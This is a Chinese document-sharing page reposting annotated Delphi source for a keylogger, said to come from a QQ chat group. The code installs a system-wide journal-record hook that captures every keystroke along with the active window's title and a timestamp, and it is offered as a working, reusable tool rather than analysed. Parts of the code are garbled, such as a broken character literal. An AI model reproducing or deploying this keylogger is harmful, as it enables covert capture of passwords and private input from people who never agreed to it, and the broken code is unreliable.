Delphi键盘记录
更新时间:2023-11-19 13:29:01 阅读量: 教育文库 文档下载
- delphi键盘记录推荐度:
- 相关推荐
QQ群里面的朋友发的一份DELPHI键盘记录源码,附带注解,还不错!
unit Unit1; interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm) Memo1: TMemo;
StartLog: TButton; StopLog: TButton;
procedure StartLogClick(Sender: TObject); procedure StopLogClick(Sender: TObject); private
{ Private declarations } public
{ Public declarations } end;
var
Form1: TForm1; LogHook:HHook=0; LastFocusWnd:Hwnd=0; PrvChar:Char; HookKey:String; const
KeyMask=$80000000;
function
LogProc(iCode:integer;wparam,lparam:longint):lresult;stdcall; implementation {$R *.dfm}
function LogProc(iCode:integer;wparam,lparam:longint):lresult; var
ch:Char; //记录一个个按下的按键字符 vKey:integer; //表示按下了哪个键
FocusWnd:HWND; //当前活动窗口句柄
Title:array[0..255] of char; //窗口句柄的标题
str:array[0..12] of char; // 当8<=vkey<=46时,表示按下的键名,例如[退格]
time:string; //time表示操作的具体时间 //LogFile:TextFile; //记录保存到文件 PEvt:^EventMsg; //EventMsg的指针
iCapsLock,iNumLock,iShift:integer; //状态按键
bCapsLock,bNumLock,bShift:boolean; //是否按下状态按键 begin
if (iCode <0 ) then begin
Result := CallNextHookEx(LogHook,iCode,wparam,lparam); //调用钩子链表的下一个子程 exit; end;
if (iCode = HC_ACTION) then //设备动作 begin
PEvt := pointer(Dword(lparam)); //将lparam的指针传递给PEvt事件消息指针
FocusWnd:= GetActiveWindow; //获取活动窗体句柄 if (LastFocusWnd <> FocusWnd) then begin
if (HookKey <> '') then begin
form1.Memo1.Lines.Add(HookKey); HookKey:= ''; end;
GetWindowText(FocusWnd,Title,256); LastFocusWnd:= FocusWnd; Time:= DateTimeToStr(now);
Form1.Memo1.lines.add(Time + Format('Title:%s',[Title])); end;
if (PEvt.message = WM_KEYDOWN) then //if 事件消息为键下压操作
begin
vkey := LoByte(PEvt.paramL ); //取得16进制数最低位那个字节的内容
iShift:= GetKeyState(VK_SHIFT); //获取这三个键的状态 iCapsLock:= GetKeyState(VK_CAPITAL); iNumLock:= GEtKeyState(VK_NUMLOCK);
bShift:= ((iShift and KeyMask) = KeyMask); //判断它们的状态
bCapsLock:=(iCapsLock = 1); bNumLock:= (iNumLock = 1); end;
if ((vKey >= 48) and (vKey <=57)) then // 0<=char(vkey)<=9 begin
if (not bShift) then //如果没有按下Shift键
ch:= char (vkey) //数字字符 else begin
case vkey of //否则为以下字符之一 48:ch:= ')'; 49:ch:= '!'; 50:ch:= '@'; 51:ch:= '#'; 52:ch:= '$'; 53:ch:= '%'; 54:ch:= '^'; 55:ch:= '&'; 56:ch:= '*'; 57:ch:= '('; end; //end case end; //end else
HookKey:= HookKey + ch;
end; //end if ((vKey >= 48) and (vKey <=57))
if ((vKey >=65) and (vKey <= 90)) then // 'A'<=char(vkey)<='Z' begin
if (not bCapsLock) then //如果没有按下CapsLock键 begin
if (bShift) then //按下了Shift键 ch:= char(vkey) //大写 else
ch:= char(vkey + 32); //小写 end
else //按下了CapsLock键 begin
if (bShift) then //按下了Shift键 ch:= char(vkey + 32) //小写 else
ch:= char(vkey); //大写 end;
HookKey:= HookKey + ch; //将按键添加到按键字符串 end;
if ((vkey >= 96) and (vkey <= 105)) then //小键盘的0-9 if bNumLock then
HookKey:= HookKey + char(vkey - 96 + 48); ch:= 'n';
if ((vkey >= 105) and (vkey <=111)) then //+-*/ begin
case vkey of
106:ch:= '*'; 107:ch:= '+'; 109:ch:= '-'; 111:ch:= '/'; else
ch:= 'n'; end; end;
if ((vkey >=186) and (vkey <= 222)) then //特殊符号 begin
if (not bShift) then //没有按下Shift键 begin
case vkey of
186:ch:= ';'; 187:ch:= '='; 189:ch:= ','; 190:ch:= '.'; 191:ch:= '/'; 192:ch:= '''' ; 219:ch:= '['; 220:ch:= '\\'; 221:ch:= ']';
222:ch:=char(27); else
ch:= 'n'; end; //end case end else begin
case vkey of 186:ch:= ':'; 187:ch:= '+';
189:ch:= '<'; 190:ch:= '>'; 191:ch:= '?'; 192:ch:= '~'; 219:ch:= '{'; 220:ch:= '|'; 221:ch:= '}'; 222:ch:= '\ else
ch:= 'n';
end; //end case
end; //end if else
end; //end if ((vkey >=186) and (vkey <= 222)) if ch <> 'n' then //剔除未规定字符 HookKey := HookKey + ch;
if ((vkey >= 8) and (vkey <=46)) then begin
ch:= ' '; case vkey of
8:str:= '[BACK]'; 9:str:= '[TAB]'; 13:str:= '[ENTER]'; 32:str:= '[SPACE]'; 35:str:= '[END]'; 36:str:= '[HOME]'; 37:str:= '[LF]'; 38:str:= '[UF]'; 39:str:= '[RF]'; 40:str:= '[DF]';
45:str:= '[INSERT]'; 46:str:= '[DELETE]'; else
ch:= 'n'; end;
if (ch <> 'n') then begin
HookKey := HookKey + str; end; end;
end; //end iCode= HC_ACTION
result := CallNextHookEx(LogHook,iCode,wparam,lparam); end;
procedure TForm1.StartLogClick(Sender: TObject); begin
if (LogHook = 0) then LogHook :=
SetWindowsHookEx(WH_JOURNALRECORD,LogProc,HInstance,0); //调用API HOOK end;
procedure TForm1.StopLogClick(Sender: TObject); begin
if (LogHook <> 0 ) then begin
UnHookWindowsHookEx(LogHook); //卸载HOOK LogHook:=0; end; end; end.
正在阅读:
Delphi键盘记录11-19
中阮盒项目IPO上市咨询(2013年最新细分市场+募投可研+招股书底稿)综合解决方案08-12
授权委托书02-17
可爱的小表弟作文450字06-17
电梯维保工作指导规范06-17
护理教育导论复习题01-16
2012年湖北省孝感市中考理科综合试题化学试卷含答案06-26
当代中国农民失地问题研究01-06
- exercise2
- 铅锌矿详查地质设计 - 图文
- 厨余垃圾、餐厨垃圾堆肥系统设计方案
- 陈明珠开题报告
- 化工原理精选例题
- 政府形象宣传册营销案例
- 小学一至三年级语文阅读专项练习题
- 2014.民诉 期末考试 复习题
- 巅峰智业 - 做好顶层设计对建设城市的重要意义
- (三起)冀教版三年级英语上册Unit4 Lesson24练习题及答案
- 2017年实心轮胎现状及发展趋势分析(目录)
- 基于GIS的农用地定级技术研究定稿
- 2017-2022年中国医疗保健市场调查与市场前景预测报告(目录) - 图文
- 作业
- OFDM技术仿真(MATLAB代码) - 图文
- Android工程师笔试题及答案
- 生命密码联合密码
- 空间地上权若干法律问题探究
- 江苏学业水平测试《机械基础》模拟试题
- 选课走班实施方案
- 键盘
- 记录
- Delphi
- 11年全球百强零售商
- 湖北省孝感市2017年中考试题语文卷(Word版含答案)
- 扬声器材料认识教材
- 一年级下学期全能总复习小学语文期末模拟试卷I卷
- 浅谈电力电子器件的发展和应用
- (国土资发69号)国土资源部关于加强地质灾害危险性评估工作的通知及技术要求
- 作文写法
- CMG组分模块GEM教程
- 微生物与免疫 - 广东药学院(师姐总结)
- 许疃煤矿隐患排查及挂牌管理制度
- 2012年黑龙江省国民经济和社会发展统计公报
- 八年级上第一次月考数学试卷(有答案)
- 鲁教版五四制化学八年级全册5.1《化学反应中的质量守恒》参考教案2
- 噪声导则计算
- 儿童诗创作的指导方法
- 从灯谜中看中国汉字文化
- 高中英语选修7unit3
- 永磁体基本性能参数
- 浅谈高中生物“说题”教学
- 判断题共20道题